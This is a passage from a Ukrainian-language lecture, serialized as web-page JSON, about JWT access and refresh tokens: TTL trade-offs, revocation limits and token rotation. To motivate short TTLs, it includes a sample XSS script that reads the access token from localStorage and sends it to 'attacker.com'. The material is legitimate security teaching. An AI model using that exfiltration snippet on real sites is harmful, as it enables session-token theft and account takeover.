терміни",[5093,5199,5200,5206,5212,5218],{},[5096,5201,5202,5205],{},[5099,5203,5204],{},"Access Token:"," короткоживучий JWT токен для доступу до захищених API ендпоінтів (TTL: 15-60 хвилин).",[5096,5207,5208,5211],{},[5099,5209,5210],{},"Refresh Token:"," довгоживучий токен для отримання нової пари токенів без повторного введення пароля (TTL: 7-30 днів).",[5096,5213,5214,5217],{},[5099,5215,5216],{},"Token Rotation:"," механізм інвалідації старого Refresh Token при видачі нової пари токенів.",[5096,5219,5220,5223],{},[5099,5221,5222],{},"Token Reuse Detection:"," система виявлення спроб використання вже інвалідованого Refresh Token (ознака компрометації).",[5171,5225],{},[5084,5227,5101],{"id":5228},"проблема-довгоживучих-access-token",[5089,5230,5231],{},"У попередніх лекціях ми розглянули механізм JWT автентифікації, де користувач отримує токен після успішного входу та використовує його для доступу до захищених ендпоінтів. Проте виникає фундаментальна дилема:",[5089,5233,5234],{},[5099,5235,5236],{},"Дилема TTL (Time To Live):",[5093,5238,5239,5250],{},[5096,5240,5241,5244,5245,5249],{},[5099,5242,5243],{},"Короткий TTL (15 хвилин):"," користувач змушений повторно вводити пароль кожні 15 хвилин → погана користувацька взаємодія (",[5246,5247,5248],"em",{},"poor UX",").",[5096,5251,5252,5255],{},[5099,5253,5254],{},"Довгий TTL (7 днів):"," користувач залишається автентифікованим тиждень, але скомпрометований токен залишається валідним усі 7 днів → катастрофічна вразливість безпеки.",[5257,5258,5260],"h3",{"id":5259},"сценарій-компрометації-токена","Сценарій компрометації токена",[5089,5262,5263],{},"Припустимо, застосунок видає JWT токен з TTL 7 днів для зручності користувача:",[5265,5266,5271],"pre",{"className":5267,"code":5268,"language":5269,"meta":5270,"style":5270},"language-typescript shiki shiki-themes light-plus dark-plus dark-plus","\u002F\u002F Генерація Access Token з довгим TTL\nconst accessToken = this.jwtService.sign(\n  { sub: user.id, email: user.email },\n  { expiresIn: '7d' } \u002F\u002F ❌ Небезпечно довгий TTL\n);\n","typescript","",[5122,5272,5273,5282,5316,5348,5366],{"__ignoreMap":5270},[5274,5275,5278],"span",{"class":5276,"line":5277},"line",1,[5274,5279,5281],{"class":5280},"spJ8K","\u002F\u002F Генерація Access Token з довгим TTL\n",[5274,5283,5285,5289,5293,5297,5300,5303,5307,5309,5313],{"class":5276,"line":5284},2,[5274,5286,5288],{"class":5287},"su1O8","const",[5274,5290,5292],{"class":5291},"s-QsJ"," accessToken",[5274,5294,5296],{"class":5295},"sHH4Y"," = ",[5274,5298,5299],{"class":5287},"this",[5274,5301,5302],{"class":5295},".",[5274,5304,5306],{"class":5305},"siwwj","jwtService",[5274,5308,5302],{"class":5295},[5274,5310,5312],{"class":5311},"s8Opu","sign",[5274,5314,5315],{"class":5295},"(\n",[5274,5317,5319,5322,5325,5328,5330,5333,5335,5338,5340,5342,5345],{"class":5276,"line":5318},3,[5274,5320,5321],{"class":5295},"  { ",[5274,5323,5324],{"class":5305},"sub:",[5274,5326,5327],{"class":5305}," user",[5274,5329,5302],{"class":5295},[5274,5331,5332],{"class":5305},"id",[5274,5334,5129],{"class":5295},[5274,5336,5337],{"class":5305},"email:",[5274,5339,5327],{"class":5305},[5274,5341,5302],{"class":5295},[5274,5343,5344],{"class":5305},"email",[5274,5346,5347],{"class":5295}," },\n",[5274,5349,5351,5353,5356,5360,5363],{"class":5276,"line":5350},4,[5274,5352,5321],{"class":5295},[5274,5354,5355],{"class":5305},"expiresIn:",[5274,5357,5359],{"class":5358},"sbdoH"," '7d'",[5274,5361,5362],{"class":5295}," } ",[5274,5364,5365],{"class":5280},"\u002F\u002F ❌ Небезпечно довгий TTL\n",[5274,5367,5369],{"class":5276,"line":5368},5,[5274,5370,5371],{"class":5295},");\n",[5089,5373,5374],{},[5099,5375,5376],{},"Атака через XSS (Cross-Site Scripting):",[5089,5378,5379,5380,5383],{},"Якщо у застосунку є вразливість XSS, зловмисник може ін'єктувати JavaScript код, що витягує токен з ",[5122,5381,5382],{},"localStorage",":",[5265,5385,5389],{"className":5386,"code":5387,"language":5388,"meta":5270,"style":5270},"language-javascript shiki shiki-themes light-plus dark-plus dark-plus","\u002F\u002F Шкідливий скрипт, ін'єктований через XSS\nconst stolenToken = localStorage.getItem('access_token');\nfetch('https:\u002F\u002Fattacker.com\u002Fsteal', {\n  method: 'POST',\n  body: JSON.stringify({ token: stolenToken })\n});\n","javascript",[5122,5390,5391,5396,5420,5433,5444,5468],{"__ignoreMap":5270},[5274,5392,5393],{"class":5276,"line":5277},[5274,5394,5395],{"class":5280},"\u002F\u002F Шкідливий скрипт, ін'єктований через XSS\n",[5274,5397,5398,5400,5403,5405,5407,5409,5412,5415,5418],{"class":5276,"line":5284},[5274,5399,5288],{"class":5287},[5274,5401,5402],{"class":5291}," stolenToken",[5274,5404,5296],{"class":5295},[5274,5406,5382],{"class":5305},[5274,5408,5302],{"class":5295},[5274,5410,5411],{"class":5311},"getItem",[5274,5413,5414],{"class":5295},"(",[5274,5416,5417],{"class":5358},"'access_token'",[5274,5419,5371],{"class":5295},[5274,5421,5422,5425,5427,5430],{"class":5276,"line":5318},[5274,5423,5424],{"class":5311},"fetch",[5274,5426,5414],{"class":5295},[5274,5428,5429],{"class":5358},"'https:\u002F\u002Fattacker.com\u002Fsteal'",[5274,5431,5432],{"class":5295},", {\n",[5274,5434,5435,5438,5441],{"class":5276,"line":5350},[5274,5436,5437],{"class":5305},"  method:",[5274,5439,5440],{"class":5358}," 'POST'",[5274,5442,5443],{"class":5295},",\n",[5274,5445,5446,5449,5452,5454,5457,5460,5463,5465],{"class":5276,"line":5368},[5274,5447,5448],{"class":5305},"  body:",[5274,5450,5451],{"class":5291}," JSON",[5274,5453,5302],{"class":5295},[5274,5455,5456],{"class":5311},"stringify",[5274,5458,5459],{"class":5295},"({ ",[5274,5461,5462],{"class":5305},"token:",[5274,5464,5402],{"class":5305},[5274,5466,5467],{"class":5295}," })\n",[5274,5469,5471],{"class":5276,"line":5470},6,[5274,5472,5473],{"class":5295},"});\n",[5089,5475,5476],{},"Після крадіжки токена зловмисник може:",[5478,5479,5480,5486,5492],"ol",{},[5096,5481,5482,5485],{},[5099,5483,5484],{},"Використовувати токен для доступу до API"," протягом усіх 7 днів.",[5096,5487,5488,5491],{},[5099,5489,5490],{},"Отримувати чутливі дані"," користувача (email, профіль, платіжна інформація).",[5096,5493,5494,5497],{},[5099,5495,5496],{},"Виконувати дії від імені користувача"," (зміна налаштувань, транзакції).",[5089,5499,5500],{},[5099,5501,5502],{},"Чому неможливо відкликати JWT токен?",[5089,5504,5505,5506,5509,5510,5513],{},"JWT токени є ",[5099,5507,5508],{},"самодостатніми"," (",[5246,5511,5512],{},"self-contained",") — сервер не зберігає їхній стан і не перевіряє базу даних при кожному запиті. Це означає:",[5093,5515,5516,5519,5525],{},[5096,5517,5518],{},"❌ Немає механізму «видалення» токена з сервера — він просто не існує на сервері як запис у БД.",[5096,5520,5521,5522,5249],{},"❌ Зміна пароля користувача не інвалідує активні токени (вони містять старі дані, але підпис залишається валідним до ",[5122,5523,5524],{},"exp",[5096,5526,5527],{},"❌ Блокування облікового запису не впливає на вже видані токени.",[5089,5529,5530],{},[5099,5531,5532],{},"Єдині способи відкликання JWT (усі мають недоліки):",[5534,5535,5536,5695,5869],"code-group",{},[5265,5537,5540],{"className":5267,"code":5538,"filename":5539,"language":5269,"meta":5270,"style":5270},"\u002F\u002F ❌ Втрата переваги stateless\nconst blacklist = new Set\u003Cstring>();\n\nasync function verifyToken(token: string) {\n  if (blacklist.has(token)) {\n    throw new UnauthorizedException('Token revoked');\n  }\n  return this.jwtService.verify(token);\n}\n\n\u002F\u002F Проблема: потрібно зберігати всі відкликані токени до їхнього exp\n\u002F\u002F При 1 млн користувачів це може бути 10+ млн записів у пам'яті\n","1. Blacklist (токен-лист заборонених)",[5122,5541,5542,5547,5572,5578,5601,5624,5642,5648,5672,5678,5683,5689],{"__ignoreMap":5270},[5274,5543,5544],{"class":5276,"line":5277},[5274,5545,5546],{"class":5280},"\u002F\u002F ❌ Втрата переваги stateless\n",[5274,5548,5549,5551,5554,5556,5559,5562,5565,5569],{"class":5276,"line":5284},[5274,5550,5288],{"class":5287},[5274,5552,5553],{"class":5291}," blacklist",[5274,5555,5296],{"class":5295},[5274,5557,5558],{"class":5287},"new",[5274,5560,5561],{"class":5311}," Set",[5274,5563,5564],{"class":5295},"\u003C",[5274,5566,5568],{"class":5567},"sN1BT","string",[5274,5570,5571],{"class":5295},">();\n",[5274,5573,5574],{"class":5276,"line":5318},[5274,5575,5577],{"emptyLinePlaceholder":5576},true,"\n",[5274,5579,5580,5583,5586,5589,5591,5593,5596,5598],{"class":5276,"line":5350},[5274,5581,5582],{"class":5287},"async",[5274,5584,5585],{"class":5287}," function",[5274,5587,5588],{"class":5311}," verifyToken",[5274,5590,5414],{"class":5295},[5274,5592,5132],{"class":5305},[5274,5594,5595],{"class":5295},": ",[5274,5597,5568],{"class":5567},[5274,5599,5600],{"class":5295},") {\n",[5274,5602,5603,5607,5609,5612,5614,5617,5619,5621],{"class":5276,"line":5368},[5274,5604,5606],{"class":5605},"s8xlr","  if",[5274,5608,5509],{"class":5295},[5274,5610,5611],{"class":5305},"blacklist",[5274,5613,5302],{"class":5295},[5274,5615,5616],{"class":5311},"has",[5274,5618,5414],{"class":5295},[5274,5620,5132],{"class":5305},[5274,5622,5623],{"class":5295},")) {\n",[5274,5625,5626,5629,5632,5635,5637,5640],{"class":5276,"line":5470},[5274,5627,5628],{"class":5605},"    throw",[5274,5630,5631],{"class":5287}," new",[5274,5633,5634],{"class":5311}," UnauthorizedException",[5274,5636,5414],{"class":5295},[5274,5638,5639],{"class":5358},"'Token revoked'",[5274,5641,5371],{"class":5295},[5274,5643,5645],{"class":5276,"line":5644},7,[5274,5646,5647],{"class":5295},"  }\n",[5274,5649,5651,5654,5657,5659,5661,5663,5666,5668,5670],{"class":5276,"line":5650},8,[5274,5652,5653],{"class":5605},"  return",[5274,5655,5656],{"class":5287}," this",[5274,5658,5302],{"class":5295},[5274,5660,5306],{"class":5305},[5274,5662,5302],{"class":5295},[5274,5664,5665],{"class":5311},"verify",[5274,5667,5414],{"class":5295},[5274,5669,5132],{"class":5305},[5274,5671,5371],{"class":5295},[5274,5673,5675],{"class":5276,"line":5674},9,[5274,5676,5677],{"class":5295},"}\n",[5274,5679,5681],{"class":5276,"line":5680},10,[5274,5682,5577],{"emptyLinePlaceholder":5576},[5274,5684,5686],{"class":5276,"line":5685},11,[5274,5687,5688],{"class":5280},"\u002F\u002F Проблема: потрібно зберігати всі відкликані токени до їхнього exp\n",[5274,5690,5692],{"class":5276,"line":5691},12,[5274,5693,5694],{"class":5280},"\u002F\u002F При 1 млн користувачів це може бути 10+ млн записів у пам'яті\n",[5265,5696,5699],{"className":5267,"code":5697,"filename":5698,"language":5269,"meta":5270,"style":5270},"\u002F\u002F ❌ Втрата продуктивності\nasync function verifyToken(token: string) {\n  const payload = this.jwtService.verify(token);\n  \n  \u002F\u002F Додатковий запит до БД при кожному HTTP-запиті\n  const user = await this.usersService.findById(payload.sub);\n  \n  if (!user || !user.isActive) {\n    throw new UnauthorizedException('User inactive');\n  }\n  \n  return payload;\n}\n\n\u002F\u002F Проблема: втрата переваги JWT (stateless) + навантаження на БД\n","2. Перевірка БД при кожному запиті",[5122,5700,5701,5706,5724,5750,5755,5760,5795,5799,5821,5836,5840,5844,5853,5858,5863],{"__ignoreMap":5270},[5274,5702,5703],{"class":5276,"line":5277},[5274,5704,5705],{"class":5280},"\u002F\u002F ❌ Втрата продуктивності\n",[5274,5707,5708,5710,5712,5714,5716,5718,5720,5722],{"class":5276,"line":5284},[5274,5709,5582],{"class":5287},[5274,5711,5585],{"class":5287},[5274,5713,5588],{"class":5311},[5274,5715,5414],{"class":5295},[5274,5717,5132],{"class":5305},[5274,5719,5595],{"class":5295},[5274,5721,5568],{"class":5567},[5274,5723,5600],{"class":5295},[5274,5725,5726,5729,5732,5734,5736,5738,5740,5742,5744,5746,5748],{"class":5276,"line":5318},[5274,5727,5728],{"class":5287},"  const",[5274,5730,5731],{"class":5291}," payload",[5274,5733,5296],{"class":5295},[5274,5735,5299],{"class":5287},[5274,5737,5302],{"class":5295},[5274,5739,5306],{"class":5305},[5274,5741,5302],{"class":5295},[5274,5743,5665],{"class":5311},[5274,5745,5414],{"class":5295},[5274,5747,5132],{"class":5305},[5274,5749,5371],{"class":5295},[5274,5751,5752],{"class":5276,"line":5350},[5274,5753,5754],{"class":5295},"  \n",[5274,5756,5757],{"class":5276,"line":5368},[5274,5758,5759],{"class":5280},"  \u002F\u002F Додатковий запит до БД при кожному HTTP-запиті\n",[5274,5761,5762,5764,5766,5768,5771,5773,5775,5778,5780,5783,5785,5788,5790,5793],{"class":5276,"line":5470},[5274,5763,5728],{"class":5287},[5274,5765,5327],{"class":5291},[5274,5767,5296],{"class":5295},[5274,5769,5770],{"class":5605},"await",[5274,5772,5656],{"class":5287},[5274,5774,5302],{"class":5295},[5274,5776,5777],{"class":5305},"usersService",[5274,5779,5302],{"class":5295},[5274,5781,5782],{"class":5311},"findById",[5274,5784,5414],{"class":5295},[5274,5786,5787],{"class":5305},"payload",[5274,5789,5302],{"class":5295},[5274,5791,5792],{"class":5305},"sub",[5274,5794,5371],{"class":5295},[5274,5796,5797],{"class":5276,"line":5644},[5274,5798,5754],{"class":5295},[5274,5800,5801,5803,5806,5809,5812,5814,5816,5819],{"class":5276,"line":5650},[5274,5802,5606],{"class":5605},[5274,5804,5805],{"class":5295}," (!",[5274,5807,5808],{"class":5305},"user",[5274,5810,5811],{"class":5295}," || !",[5274,5813,5808],{"class":5305},[5274,5815,5302],{"class":5295},[5274,5817,5818],{"class":5305},"isActive",[5274,5820,5600],{"class":5295},[5274,5822,5823,5825,5827,5829,5831,5834],{"class":5276,"line":5674},[5274,5824,5628],{"class":5605},[5274,5826,5631],{"class":5287},[5274,5828,5634],{"class":5311},[5274,5830,5414],{"class":5295},[5274,5832,5833],{"class":5358},"'User inactive'",[5274,5835,5371],{"class":5295},[5274,5837,5838],{"class":5276,"line":5680},[5274,5839,5647],{"class":5295},[5274,5841,5842],{"class":5276,"line":5685},[5274,5843,5754],{"class":5295},[5274,5845,5846,5848,5850],{"class":5276,"line":5691},[5274,5847,5653],{"class":5605},[5274,5849,5731],{"class":5305},[5274,5851,5852],{"class":5295},";\n",[5274,5854,5856],{"class":5276,"line":5855},13,[5274,5857,5677],{"class":5295},[5274,5859,5861],{"class":5276,"line":5860},14,[5274,5862,5577],{"emptyLinePlaceholder":5576},[5274,5864,5866],{"class":5276,"line":5865},15,[5274,5867,5868],{"class":5280},"\u002F\u002F Проблема: втрата переваги JWT (stateless) + навантаження на БД\n",[5265,5870,5873],{"className":5267,"code":5871,"filename":5872,"language":5269,"meta":5270,"style":5270},"\u002F\u002F ❌ Погана UX\nconst accessToken = this.jwtService.sign(payload, {\n  expiresIn: '15m' \u002F\u002F Користувач входить кожні 15 хвилин\n});\n\n\u002F\u002F Проблема: користувачі скаржаться на незручність\n","3. Короткий TTL + примус повторного входу",[5122,5874,5875,5880,5904,5915,5919,5923],{"__ignoreMap":5270},[5274,5876,5877],{"class":5276,"line":5277},[5274,5878,5879],{"class":5280},"\u002F\u002F ❌ Погана UX\n",[5274,5881,5882,5884,5886,5888,5890,5892,5894,5896,5898,5900,5902],{"class":5276,"line":5284},[5274,5883,5288],{"class":5287},[5274,5885,5292],{"class":5291},[5274,5887,5296],{"class":5295},[5274,5889,5299],{"class":5287},[5274,5891,5302],{"class":5295},[5274,5893,5306],{"class":5305},[5274,5895,5302],{"class":5295},[5274,5897,5312],{"class":5311},[5274,5899,5414],{"class":5295},[5274,5901,5787],{"class":5305},[5274,5903,5432],{"class":5295},[5274,5905,5906,5909,5912],{"class":5276,"line":5318},[5274,5907,5908],{"class":5305},"  expiresIn:",[5274,5910,5911],{"class":5358}," '15m'",[5274,5913,5914],{"class":5280}," \u002F\u002F Користувач входить кожні 15 хвилин\n",[5274,5916,5917],{"class":5276,"line":5350},[5274,5918,5473],{"class":5295},[5274,5920,5921],{"class":5276,"line":5368},[5274,5922,5577],{"emptyLinePlaceholder":5576},[5274,5924,5925],{"class":5276,"line":5470},[5274,5926,5927],{"class":5280},"\u002F\u002F Проблема: користувачі скаржаться на незручність\n",[5929,5930,5931,5932,5302],"note",{},"Жоден із цих підходів не є оптимальним. Blacklist та перевірка БД знищують переваги JWT (stateless, масштабованість), тоді як короткий TTL знищує користувацьку зручність. Саме тому індустрія прийшла до патерну ",[5099,5933,5934],{},"Refresh Token",[5171,5936],{},[5084,5938,5940],{"id":5939},"архітектура-пари-токенів-access-refresh","Архітектура пари токенів: Access + Refresh",[5089,5942,5943,5944,5947],{},"Рішенням дилеми є використання ",[5099,5945,5946],{},"двох незалежних токенів"," з різним призначенням та термінами життя:",[5949,5950,5951],"mermaid",{},[5265,5952,5955],{"className":5953,"code":5954,"language":5949,"meta":5270,"style":5270},"language-mermaid shiki shiki-themes light-plus dark-plus dark-plus","graph TB\n    subgraph \"Пара токенів\"\n        A[Access Token\u003Cbr\u002F>TTL: 15 хвилин]\n        B[Refresh Token\u003Cbr\u002F>TTL: 7-30 днів]\n    end\n    \n    A -->|Використовується для| C[API Requests\u003Cbr\u002F>GET \u002Fusers\u002Fprofile\u003Cbr\u002F>POST \u002Fposts]\n    B -->|Використовується для| D[Token Refresh\u003Cbr\u002F>POST \u002Fauth\u002Frefresh]\n    \n    C -->|401 Unauthorized\u003Cbr\u002F>токен прострочений| E[Клієнт викликає\u003Cbr\u002F>\u002Fauth\u002Frefresh]\n    E -->|Надсилає Refresh Token| D\n    D -->|Повертає нову пару| F[Новий Access Token\u003Cbr\u002F>+ Новий Refresh Token]\n    F --> A\n    F --> B\n    \n    style A fill:#3b82f6,stroke:#1d4ed8,color:#ffffff\n    style B fill:#10b981,stroke:#047857,color:#ffffff\n    style C fill:#8b5cf6,stroke:#6d28d9,color:#ffffff\n    style D fill:#f59e0b,stroke:#b45309,color:#ffffff\n",[5122,5956,5957,5962,5967,5972,5977,5982,5987,5992,5997,6001,6006,6011,6016,6021,6026,6030,6036,6042,6048],{"__ignoreMap":5270},[5274,5958,5959],{"class":5276,"line":5277},[5274,5960,5961],{},"graph TB\n",[5274,5963,5964],{"class":5276,"line":5284},[5274,5965,5966],{},"    subgraph \"Пара токенів\"\n",[5274,5968,5969],{"class":5276,"line":5318},[5274,5970,5971],{},"        A[Access Token\u003Cbr\u002F>TTL: 15 хвилин]\n",[5274,5973,5974],{"class":5276,"line":5350},[5274,5975,5976],{},"        B[Refresh Token\u003Cbr\u002F>TTL: 7-30 днів]\n",[5274,5978,5979],{"class":5276,"line":5368},[5274,5980,5981],{},"    end\n",[5274,5983,5984],{"class":5276,"line":5470},[5274,5985,5986],{},"    \n",[5274,5988,5989],{"class":5276,"line":5644},[5274,5990,5991],{},"    A -->|Використовується для| C[API Requests\u003Cbr\u002F>GET \u002Fusers\u002Fprofile\u003Cbr\u002F>POST \u002Fposts]\n",[5274,5993,5994],{"class":5276,"line":5650},[5274,5995,5996],{},"    B -->|Використовується для| D[Token Refresh\u003Cbr\u002F>POST \u002Fauth\u002Frefresh]\n",[5274,5998,5999],{"class":5276,"line":5674},[5274,6000,5986],{},[5274,6002,6003],{"class":5276,"line":5680},[5274,6004,6005],{},"    C -->|401 Unauthorized\u003Cbr\u002F>токен прострочений| E[Клієнт викликає\u003Cbr\u002F>\u002Fauth\u002Frefresh]\n",[5274,6007,6008],{"class":5276,"line":5685},[5274,6009,6010],{},"    E -->|Надсилає Refresh Token| D\n",[5274,6012,6013],{"class":5276,"line":5691},[5274,6014,6015],{},"    D -->|Повертає нову пару| F[Новий Access Token\u003Cbr\u002F>+ Новий Refresh Token]\n",[5274,6017,6018],{"class":5276,"line":5855},[5274,6019,6020],{},"    F --> A\n",[5274,6022,6023],{"class":5276,"line":5860},[5274,6024,6025],{},"    F --> B\n",[5274,6027,6028],{"class":5276,"line":5865},[5274,6029,5986],{},[5274,6031,6033],{"class":5276,"line":6032},16,[5274,6034,6035],{},"    style A fill:#3b82f6,stroke:#1d4ed8,color:#ffffff\n",[5274,6037,6039],{"class":5276,"line":6038},17,[5274,6040,6041],{},"    style B fill:#10b981,stroke:#047857,color:#ffffff\n",[5274,6043,6045],{"class":5276,"line":6044},18,[5274,6046,6047],{},"    style C fill:#8b5cf6,stroke:#6d28d9,color:#ffffff\n",[5274,6049,6051],{"class":5276,"line":6050},19,[5274,6052,6053],{},"    style D fill:#f59e0b,stroke:#b45309,color:#ffffff\n",[5257,6055,6057],{"id":6056},"характеристики-access-token","Характеристики Access Token",[5089,6059,6060,6063],{},[5099,6061,6062],{},"Призначення:"," Короткоживучий токен для доступу до захищених API ендпоінтів.",[5089,6065,6066],{},[5099,6067,6068],{},"Властивості:",[5093,6070,6071,6077,6083,6097,6110],{},[5096,6072,6073,6076],{},[5099,6074,6075],{},"TTL:"," 15-60 хвилин (рекомендовано 15 хвилин для високобезпечних систем).",[5096,6078,6079,6082],{},[5099,6080,6081],{},"Формат:"," стандартний JWT токен з підписом.",[5096,6084,6085,6088,6089,6092,6093,6096],{},[5099,6086,6087],{},"Зберігання:"," пам'ять (",[5246,6090,6091],{},"in-memory",") або ",[5122,6094,6095],{},"sessionStorage"," на клієнті.",[5096,6098,6099,6102,6103,5129,6105,5129,6107,5249],{},[5099,6100,6101],{},"Payload:"," мінімальні дані користувача (",[5122,6104,5128],{},[5122,6106,5344],{},[5122,6108,6109],{},"roles",[5096,6111,6112,6115,6116,6118],{},[5099,6113,6114],{},"Відкликання:"," неможливе — токен валідний до ",[5122,6117,5524],{},", але короткий TTL мінімізує вікно вразливості.",[5089,6120,6121],{},[5099,6122,6123],{},"Структура Access Token:",[5265,6125,6129],{"className":6126,"code":6127,"language":6128,"meta":5270,"style":5270},"language-json shiki shiki-themes light-plus dark-plus dark-plus","{\n  \"sub\": \"550e8400-e29b-41d4-a716-446655440000\",\n  \"email\": \"ivan@example.com\",\n  \"roles\": [\"user\"],\n  \"tokenType\": \"access\",\n  \"iat\": 1693564800,\n  \"exp\": 1693565700\n}\n","json",[5122,6130,6131,6136,6149,6161,6175,6187,6200,6210],{"__ignoreMap":5270},[5274,6132,6133],{"class":5276,"line":5277},[5274,6134,6135],{"class":5295},"{\n",[5274,6137,6138,6142,6144,6147],{"class":5276,"line":5284},[5274,6139,6141],{"class":6140},"sLwNe","  \"sub\"",[5274,6143,5595],{"class":5295},[5274,6145,6146],{"class":5358},"\"550e8400-e29b-41d4-a716-446655440000\"",[5274,6148,5443],{"class":5295},[5274,6150,6151,6154,6156,6159],{"class":5276,"line":5318},[5274,6152,6153],{"class":6140},"  \"email\"",[5274,6155,5595],{"class":5295},[5274,6157,6158],{"class":5358},"\"ivan@example.com\"",[5274,6160,5443],{"class":5295},[5274,6162,6163,6166,6169,6172],{"class":5276,"line":5350},[5274,6164,6165],{"class":6140},"  \"roles\"",[5274,6167,6168],{"class":5295},": [",[5274,6170,6171],{"class":5358},"\"user\"",[5274,6173,6174],{"class":5295},"],\n",[5274,6176,6177,6180,6182,6185],{"class":5276,"line":5368},[5274,6178,6179],{"class":6140},"  \"tokenType\"",[5274,6181,5595],{"class":5295},[5274,6183,6184],{"class":5358},"\"access\"",[5274,6186,5443],{"class":5295},[5274,6188,6189,6192,6194,6198],{"class":5276,"line":5470},[5274,6190,6191],{"class":6140},"  \"iat\"",[5274,6193,5595],{"class":5295},[5274,6195,6197],{"class":6196},"sJj4R","1693564800",[5274,6199,5443],{"class":5295},[5274,6201,6202,6205,6207],{"class":5276,"line":5644},[5274,6203,6204],{"class":6140},"  \"exp\"",[5274,6206,5595],{"class":5295},[5274,6208,6209],{"class":6196},"1693565700\n",[5274,6211,6212],{"class":5276,"line":5650},[5274,6213,5677],{"class":5295},[5257,6215,6217],{"id":6216},"характеристики-refresh-token","Характеристики Refresh Token",[5089,6219,6220,6222],{},[5099,6221,6062],{}," Довгоживучий токен для отримання нової пари токенів без повторного введення пароля.",[5089,6224,6225],{},[5099,6226,6068],{},[5093,6228,6229,6234,6239,6248,6260],{},[5096,6230,6231,6233],{},[5099,6232,6075],{}," 7-30 днів (залежно від політики безпеки організації).",[5096,6235,6236,6238],{},[5099,6237,6081],{}," випадковий UUID або JWT токен (залежно від реалізації).",[5096,6240,6241,6243,6244,6247],{},[5099,6242,6087],{}," ",[5099,6245,6246],{},"БД або Redis"," на сервері + HttpOnly Cookie на клієнті.",[5096,6249,6250,6253,6254,6256,6257,5302],{},[5099,6251,6252],{},"Payload (якщо JWT):"," мінімум даних, часто лише ",[5122,6255,5128],{}," та ",[5122,6258,6259],{},"tokenId",[5096,6261,6262,6264],{},[5099,6263,6114],{}," можливе через видалення з БД — це ключова перевага.",[5089,6266,6267],{},[5099,6268,6269],{},"Варіанти формату Refresh Token:",[5534,6271,6272,6430],{},[5265,6273,6276],{"className":5267,"code":6274,"filename":6275,"language":5269,"meta":5270,"style":5270},"import { randomUUID } from 'crypto';\n\n\u002F\u002F ✅ Простий, легко інвалідувати, потребує зберігання у БД\nconst refreshToken = randomUUID();\n\u002F\u002F \"6ba7b810-9dad-11d1-80b4-00c04fd430c8\"\n\n\u002F\u002F Зберігаємо у БД\nawait this.refreshTokenRepository.save({\n  token: refreshToken,\n  userId: user.id,\n  expiresAt: new Date(Date.now() + 7 * 24 * 60 * 60 * 1000),\n});\n","Варіант 1: Випадковий UUID",[5122,6277,6278,6299,6303,6308,6322,6327,6331,6336,6355,6364,6377,6426],{"__ignoreMap":5270},[5274,6279,6280,6283,6286,6289,6291,6294,6297],{"class":5276,"line":5277},[5274,6281,6282],{"class":5605},"import",[5274,6284,6285],{"class":5295}," { ",[5274,6287,6288],{"class":5305},"randomUUID",[5274,6290,5362],{"class":5295},[5274,6292,6293],{"class":5605},"from",[5274,6295,6296],{"class":5358}," 'crypto'",[5274,6298,5852],{"class":5295},[5274,6300,6301],{"class":5276,"line":5284},[5274,6302,5577],{"emptyLinePlaceholder":5576},[5274,6304,6305],{"class":5276,"line":5318},[5274,6306,6307],{"class":5280},"\u002F\u002F ✅ Простий, легко інвалідувати, потребує зберігання у БД\n",[5274,6309,6310,6312,6315,6317,6319],{"class":5276,"line":5350},[5274,6311,5288],{"class":5287},[5274,6313,6314],{"class":5291}," refreshToken",[5274,6316,5296],{"class":5295},[5274,6318,6288],{"class":5311},[5274,6320,6321],{"class":5295},"();\n",[5274,6323,6324],{"class":5276,"line":5368},[5274,6325,6326],{"class":5280},"\u002F\u002F \"6ba7b810-9dad-11d1-80b4-00c04fd430c8\"\n",[5274,6328,6329],{"class":5276,"line":5470},[5274,6330,5577],{"emptyLinePlaceholder":5576},[5274,6332,6333],{"class":5276,"line":5644},[5274,6334,6335],{"class":5280},"\u002F\u002F Зберігаємо у БД\n",[5274,6337,6338,6340,6342,6344,6347,6349,6352],{"class":5276,"line":5650},[5274,6339,5770],{"class":5605},[5274,6341,5656],{"class":5287},[5274,6343,5302],{"class":5295},[5274,6345,6346],{"class":5305},"refreshTokenRepository",[5274,6348,5302],{"class":5295},[5274,6350,6351],{"class":5311},"save",[5274,6353,6354],{"class":5295},"({\n",[5274,6356,6357,6360,6362],{"class":5276,"line":5674},[5274,6358,6359],{"class":5305},"  token:",[5274,6361,6314],{"class":5305},[5274,6363,5443],{"class":5295},[5274,6365,6366,6369,6371,6373,6375],{"class":5276,"line":5680},[5274,6367,6368],{"class":5305},"  userId:",[5274,6370,5327],{"class":5305},[5274,6372,5302],{"class":5295},[5274,6374,5332],{"class":5305},[5274,6376,5443],{"class":5295},[5274,6378,6379,6382,6384,6387,6389,6392,6394,6397,6400,6403,6406,6409,6411,6414,6416,6418,6420,6423],{"class":5276,"line":5685},[5274,6380,6381],{"class":5305},"  expiresAt:",[5274,6383,5631],{"class":5287},[5274,6385,6386],{"class":5311}," Date",[5274,6388,5414],{"class":5295},[5274,6390,6391],{"class":5305},"Date",[5274,6393,5302],{"class":5295},[5274,6395,6396],{"class":5311},"now",[5274,6398,6399],{"class":5295},"() + ",[5274,6401,6402],{"class":6196},"7",[5274,6404,6405],{"class":5295}," * ",[5274,6407,6408],{"class":6196},"24",[5274,6410,6405],{"class":5295},[5274,6412,6413],{"class":6196},"60",[5274,6415,6405],{"class":5295},[5274,6417,6413],{"class":6196},[5274,6419,6405],{"class":5295},[5274,6421,6422],{"class":6196},"1000",[5274,6424,6425],{"class":5295},"),\n",[5274,6427,6428],{"class":5276,"line":5691},[5274,6429,5473],{"class":5295},[5265,6431,6434],{"className":5267,"code":6432,"filename":6433,"language":5269,"meta":5270,"style":5270},"\u002F\u002F ⚠️ Може бути декодований на клієнті, але не може бути підроблений\nconst refreshToken = this.jwtService.sign(\n  {\n    sub: user.id,\n    tokenType: 'refresh',\n    tokenId: randomUUID(), \u002F\u002F Унікальний ID для tracking\n  },\n  {\n    secret: process.env.REFRESH_TOKEN_SECRET, \u002F\u002F Окремий секрет!\n    expiresIn: '7d',\n  }\n);\n\n\u002F\u002F Зберігаємо tokenId у БД для можливості відкликання\nawait this.refreshTokenRepository.save({\n  tokenId: tokenId,\n  userId: user.id,\n  expiresAt: new Date(Date.now() + 7 * 24 * 60 * 60 * 1000),\n});\n","Варіант 2: JWT з мінімальним payload",[5122,6435,6436,6441,6461,6466,6479,6489,6503,6508,6512,6535,6544,6548,6552,6556,6561,6577,6587,6599,6637],{"__ignoreMap":5270},[5274,6437,6438],{"class":5276,"line":5277},[5274,6439,6440],{"class":5280},"\u002F\u002F ⚠️ Може бути декодований на клієнті, але не може бути 